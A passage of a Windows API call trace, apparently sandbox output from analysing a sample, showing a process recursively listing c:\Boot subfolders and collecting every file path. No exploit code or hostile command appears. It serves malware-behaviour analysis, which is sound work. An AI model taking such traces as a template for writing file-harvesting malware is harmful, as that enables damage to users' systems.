lpFindFileData=0x34f04c) returned 1 [0117.522] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0117.522] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0117.522] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0117.522] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0117.522] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\en-US\\bootmgr.exe.mui") returned="c:\\Boot\\en-US\\bootmgr.exe.mui" [0117.522] lstrlenW (lpString="c:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0117.522] lstrcpyW (in: lpString1=0x5b2a48, lpString2="c:\\Boot\\en-US\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\en-US\\bootmgr.exe.mui") returned="c:\\Boot\\en-US\\bootmgr.exe.mui" [0117.522] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.522] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0117.522] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0117.523] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0117.523] lstrlenW (lpString="memtest.exe.mui") returned 15 [0117.523] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="c:\\Boot\\en-US\\memtest.exe.mui") returned="c:\\Boot\\en-US\\memtest.exe.mui" [0117.523] lstrlenW (lpString="c:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0117.523] lstrcpyW (in: lpString1=0x5b2a90, lpString2="c:\\Boot\\en-US\\memtest.exe.mui" | out: lpString1="c:\\Boot\\en-US\\memtest.exe.mui") returned="c:\\Boot\\en-US\\memtest.exe.mui" [0117.523] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0117.523] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0117.523] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0117.523] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0117.523] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0117.523] lstrlenW (lpString="c:\\Boot\\") returned 8 [0117.523] lstrlenW (lpString="es-ES") returned 5 [0117.523] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="es-ES" | out: lpString1="c:\\Boot\\es-ES") returned="c:\\Boot\\es-ES" [0117.523] lstrcatW (in: lpString1="c:\\Boot\\es-ES", lpString2="\\" | out: lpString1="c:\\Boot\\es-ES\\") returned="c:\\Boot\\es-ES\\" [0117.523] lstrlenW (lpString="c:\\Boot\\es-ES\\") returned 14 [0117.523] lstrcatW (in: lpString1="c:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="c:\\Boot\\es-ES\\*") returned="c:\\Boot\\es-ES\\*" [0117.523] FindFirstFileW (in: lpFileName="c:\\Boot\\es-ES\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0117.681] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0117.681] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.681] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0117.681] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.681] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.681] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0117.681] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0117.681] lstrlenW (lpString="c:\\Boot\\es-ES\\") returned 14 [0117.681] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0117.681] lstrcatW (in: lpString1="c:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned="c:\\Boot\\es-ES\\bootmgr.exe.mui" [0117.681] lstrlenW (lpString="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0117.681] lstrcpyW (in: lpString1=0x5b2ad8, lpString2="c:\\Boot\\es-ES\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned="c:\\Boot\\es-ES\\bootmgr.exe.mui" [0117.681] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0117.681] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0117.681] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0117.681] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0117.681] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0117.681] lstrlenW (lpString="c:\\Boot\\") returned 8 [0117.681] lstrlenW (lpString="fi-FI") returned 5 [0117.681] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="fi-FI" | out: lpString1="c:\\Boot\\fi-FI") returned="c:\\Boot\\fi-FI" [0117.681] lstrcatW (in: lpString1="c:\\Boot\\fi-FI", lpString2="\\" | out: lpString1="c:\\Boot\\fi-FI\\") returned="c:\\Boot\\fi-FI\\" [0117.681] lstrlenW (lpString="c:\\Boot\\fi-FI\\") returned 14 [0117.681] lstrcatW (in: lpString1="c:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="c:\\Boot\\fi-FI\\*") returned="c:\\Boot\\fi-FI\\*" [0117.681] FindFirstFileW (in: lpFileName="c:\\Boot\\fi-FI\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0117.681] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0117.682] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.682] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0117.682] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.682] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.682] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0117.682] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0117.682] lstrlenW (lpString="c:\\Boot\\fi-FI\\") returned 14 [0117.682] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0117.682] lstrcatW (in: lpString1="c:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="c:\\Boot\\fi-FI\\bootmgr.exe.mui" [0117.682] lstrlenW (lpString="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0117.682] lstrcpyW (in: lpString1=0x5b2b20, lpString2="c:\\Boot\\fi-FI\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="c:\\Boot\\fi-FI\\bootmgr.exe.mui" [0117.682] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0117.682] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0117.682] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0117.682] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0117.682] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0117.682] lstrlenW (lpString="c:\\Boot\\") returned 8 [0117.682] lstrlenW (lpString="Fonts") returned 5 [0117.682] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="Fonts" | out: lpString1="c:\\Boot\\Fonts") returned="c:\\Boot\\Fonts" [0117.683] lstrcatW (in: lpString1="c:\\Boot\\Fonts", lpString2="\\" | out: lpString1="c:\\Boot\\Fonts\\") returned="c:\\Boot\\Fonts\\" [0117.683] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0117.683] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="c:\\Boot\\Fonts\\*") returned="c:\\Boot\\Fonts\\*" [0117.683] FindFirstFileW (in: lpFileName="c:\\Boot\\Fonts\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0117.813] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0117.813] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.813] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0117.813] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.813] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.813] lstrcmpW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0117.813] lstrcmpW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0117.813] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0117.813] lstrlenW (lpString="chs_boot.ttf") returned 12 [0117.813] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\chs_boot.ttf") returned="c:\\Boot\\Fonts\\chs_boot.ttf" [0117.813] lstrlenW (lpString="c:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0117.813] lstrcpyW (in: lpString1=0x5b2b68, lpString2="c:\\Boot\\Fonts\\chs_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\chs_boot.ttf") returned="c:\\Boot\\Fonts\\chs_boot.ttf" [0117.813] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.813] lstrcmpW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0117.813] lstrcmpW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0117.813] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0117.813] lstrlenW (lpString="cht_boot.ttf") returned 12 [0117.813] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\cht_boot.ttf") returned="c:\\Boot\\Fonts\\cht_boot.ttf" [0117.813] lstrlenW (lpString="c:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0117.813] lstrcpyW (in: lpString1=0x5b2ba8, lpString2="c:\\Boot\\Fonts\\cht_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\cht_boot.ttf") returned="c:\\Boot\\Fonts\\cht_boot.ttf" [0117.813] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.813] lstrcmpW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0117.813] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0117.813] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0117.813] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0117.813] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\jpn_boot.ttf") returned="c:\\Boot\\Fonts\\jpn_boot.ttf" [0117.813] lstrlenW (lpString="c:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0117.813] lstrcpyW (in: lpString1=0x5b2be8, lpString2="c:\\Boot\\Fonts\\jpn_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\jpn_boot.ttf") returned="c:\\Boot\\Fonts\\jpn_boot.ttf" [0117.813] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.813] lstrcmpW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0117.813] lstrcmpW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0117.813] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0117.813] lstrlenW (lpString="kor_boot.ttf") returned 12 [0117.813] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\kor_boot.ttf") returned="c:\\Boot\\Fonts\\kor_boot.ttf" [0117.813] lstrlenW (lpString="c:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0117.813] lstrcpyW (in: lpString1=0x5b2c28, lpString2="c:\\Boot\\Fonts\\kor_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\kor_boot.ttf") returned="c:\\Boot\\Fonts\\kor_boot.ttf" [0117.813] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.813] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0117.813] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0117.813] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0117.814] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0117.814] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned="c:\\Boot\\Fonts\\wgl4_boot.ttf" [0117.814] lstrlenW (lpString="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0117.814] lstrcpyW (in: lpString1=0x5b2c68, lpString2="c:\\Boot\\Fonts\\wgl4_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned="c:\\Boot\\Fonts\\wgl4_boot.ttf" [0117.814] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0117.814] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0117.814] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0117.814] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0117.814] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0117.814] lstrlenW (lpString="c:\\Boot\\") returned 8 [0117.814] lstrlenW (lpString="fr-FR") returned 5 [0117.814] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="fr-FR" | out: lpString1="c:\\Boot\\fr-FR") returned="c:\\Boot\\fr-FR" [0117.814] lstrcatW (in: lpString1="c:\\Boot\\fr-FR", lpString2="\\" | out: lpString1="c:\\Boot\\fr-FR\\") returned="c:\\Boot\\fr-FR\\" [0117.814] lstrlenW (lpString="c:\\Boot\\fr-FR\\") returned 14 [0117.814] lstrcatW (in: lpString1="c:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="c:\\Boot\\fr-FR\\*") returned="c:\\Boot\\fr-FR\\*" [0117.814] FindFirstFileW (in: lpFileName="c:\\Boot\\fr-FR\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0117.904] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0117.904] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.904] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0117.904] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.904] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.904] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0117.904] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0117.904] lstrlenW (lpString="c:\\Boot\\fr-FR\\") returned 14 [0117.904] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0117.904] lstrcatW (in: lpString1="c:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="c:\\Boot\\fr-FR\\bootmgr.exe.mui" [0117.904] lstrlenW (lpString="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0117.904] lstrcpyW (in: lpString1=0x5b2ca8, lpString2="c:\\Boot\\fr-FR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="c:\\Boot\\fr-FR\\bootmgr.exe.mui" [0117.904] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0117.904] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0117.905] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0117.905] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0117.905] lstrlenW (lpString="c:\\Boot\\") returned 8 [0117.905] lstrlenW (lpString="hu-HU") returned 5 [0117.905] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="hu-HU" | out: lpString1="c:\\Boot\\hu-HU") returned="c:\\Boot\\hu-HU" [0117.905] lstrcatW (in: lpString1="c:\\Boot\\hu-HU", lpString2="\\" | out: lpString1="c:\\Boot\\hu-HU\\") returned="c:\\Boot\\hu-HU\\" [0117.905] lstrlenW (lpString="c:\\Boot\\hu-HU\\") returned 14 [0117.905] lstrcatW (in: lpString1="c:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="c:\\Boot\\hu-HU\\*") returned="c:\\Boot\\hu-HU\\*" [0117.905] FindFirstFileW (in: lpFileName="c:\\Boot\\hu-HU\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0117.905] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0117.905] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.905] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0117.905] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.905] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.905] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0117.905] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0117.905] lstrlenW (lpString="c:\\Boot\\hu-HU\\") returned 14 [0117.905] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0117.905] lstrcatW (in: lpString1="c:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="c:\\Boot\\hu-HU\\bootmgr.exe.mui" [0117.905] lstrlenW (lpString="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0117.905] lstrcpyW (in: lpString1=0x5b2cf0, lpString2="c:\\Boot\\hu-HU\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="c:\\Boot\\hu-HU\\bootmgr.exe.mui" [0117.905] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0117.905] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0117.905] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0117.905] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0117.905] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0117.905] lstrlenW (lpString="c:\\Boot\\") returned 8 [0117.905] lstrlenW (lpString="it-IT") returned 5 [0117.905] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="it-IT" | out: lpString1="c:\\Boot\\it-IT") returned="c:\\Boot\\it-IT" [0117.905] lstrcatW (in: lpString1="c:\\Boot\\it-IT", lpString2="\\" | out: lpString1="c:\\Boot\\it-IT\\") returned="c:\\Boot\\it-IT\\" [0117.905] lstrlenW (lpString="c:\\Boot\\it-IT\\") returned 14 [0117.905] lstrcatW (in: lpString1="c:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="c:\\Boot\\it-IT\\*") returned="c:\\Boot\\it-IT\\*" [0117.905] FindFirstFileW (in: lpFileName="c:\\Boot\\it-IT\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.036] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.036] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.036] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.036] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.036] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.036] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.036] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.036] lstrlenW (lpString="c:\\Boot\\it-IT\\") returned 14 [0118.037] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.037] lstrcatW (in: lpString1="c:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned="c:\\Boot\\it-IT\\bootmgr.exe.mui" [0118.037] lstrlenW (lpString="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0118.037] lstrcpyW (in: lpString1=0x5b2d38, lpString2="c:\\Boot\\it-IT\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\it-IT\\bootmgr.exe.mui") returned="c:\\Boot\\it-IT\\bootmgr.exe.mui" [0118.037] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.037] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.037] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.037] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0118.037] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0118.037] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.037] lstrlenW (lpString="ja-JP") returned 5 [0118.037] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ja-JP" | out: lpString1="c:\\Boot\\ja-JP") returned="c:\\Boot\\ja-JP" [0118.037] lstrcatW (in: lpString1="c:\\Boot\\ja-JP", lpString2="\\" | out: lpString1="c:\\Boot\\ja-JP\\") returned="c:\\Boot\\ja-JP\\" [0118.037] lstrlenW (lpString="c:\\Boot\\ja-JP\\") returned 14 [0118.037] lstrcatW (in: lpString1="c:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="c:\\Boot\\ja-JP\\*") returned="c:\\Boot\\ja-JP\\*" [0118.037] FindFirstFileW (in: lpFileName="c:\\Boot\\ja-JP\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.037] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.037] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.037] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.037] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.037] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.037] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.037] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.037] lstrlenW (lpString="c:\\Boot\\ja-JP\\") returned 14 [0118.037] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.037] lstrcatW (in: lpString1="c:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="c:\\Boot\\ja-JP\\bootmgr.exe.mui" [0118.037] lstrlenW (lpString="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0118.037] lstrcpyW (in: lpString1=0x5b2d80, lpString2="c:\\Boot\\ja-JP\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="c:\\Boot\\ja-JP\\bootmgr.exe.mui" [0118.037] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.037] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.037] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.037] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0118.037] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0118.037] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.037] lstrlenW (lpString="ko-KR") returned 5 [0118.037] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ko-KR" | out: lpString1="c:\\Boot\\ko-KR") returned="c:\\Boot\\ko-KR" [0118.037] lstrcatW (in: lpString1="c:\\Boot\\ko-KR", lpString2="\\" | out: lpString1="c:\\Boot\\ko-KR\\") returned="c:\\Boot\\ko-KR\\" [0118.038] lstrlenW (lpString="c:\\Boot\\ko-KR\\") returned 14 [0118.038] lstrcatW (in: lpString1="c:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="c:\\Boot\\ko-KR\\*") returned="c:\\Boot\\ko-KR\\*" [0118.038] FindFirstFileW (in: lpFileName="c:\\Boot\\ko-KR\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.083] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.083] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.083] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.083] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.083] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.083] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.083] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.083] lstrlenW (lpString="c:\\Boot\\ko-KR\\") returned 14 [0118.083] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.083] lstrcatW (in: lpString1="c:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="c:\\Boot\\ko-KR\\bootmgr.exe.mui" [0118.083] lstrlenW (lpString="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0118.083] lstrcpyW (in: lpString1=0x5b2dc8, lpString2="c:\\Boot\\ko-KR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="c:\\Boot\\ko-KR\\bootmgr.exe.mui" [0118.083] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.083] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.083] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.083] lstrcmpW (lpString1="memtest.exe", lpString2=".") returned 1 [0118.083] lstrcmpW (lpString1="memtest.exe", lpString2="..") returned 1 [0118.083] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.083] lstrlenW (lpString="memtest.exe") returned 11 [0118.084] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="memtest.exe" | out: lpString1="c:\\Boot\\memtest.exe") returned="c:\\Boot\\memtest.exe" [0118.084] lstrlenW (lpString="c:\\Boot\\memtest.exe") returned 19 [0118.084] lstrcpyW (in: lpString1=0x5b2e10, lpString2="c:\\Boot\\memtest.exe" | out: lpString1="c:\\Boot\\memtest.exe") returned="c:\\Boot\\memtest.exe" [0118.084] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.084] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0118.084] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0118.084] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.084] lstrlenW (lpString="nb-NO") returned 5 [0118.084] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="nb-NO" | out: lpString1="c:\\Boot\\nb-NO") returned="c:\\Boot\\nb-NO" [0118.084] lstrcatW (in: lpString1="c:\\Boot\\nb-NO", lpString2="\\" | out: lpString1="c:\\Boot\\nb-NO\\") returned="c:\\Boot\\nb-NO\\" [0118.084] lstrlenW (lpString="c:\\Boot\\nb-NO\\") returned 14 [0118.084] lstrcatW (in: lpString1="c:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="c:\\Boot\\nb-NO\\*") returned="c:\\Boot\\nb-NO\\*" [0118.084] FindFirstFileW (in: lpFileName="c:\\Boot\\nb-NO\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.084] lstrcmpW (lpString1=".", lpString2=".") returned 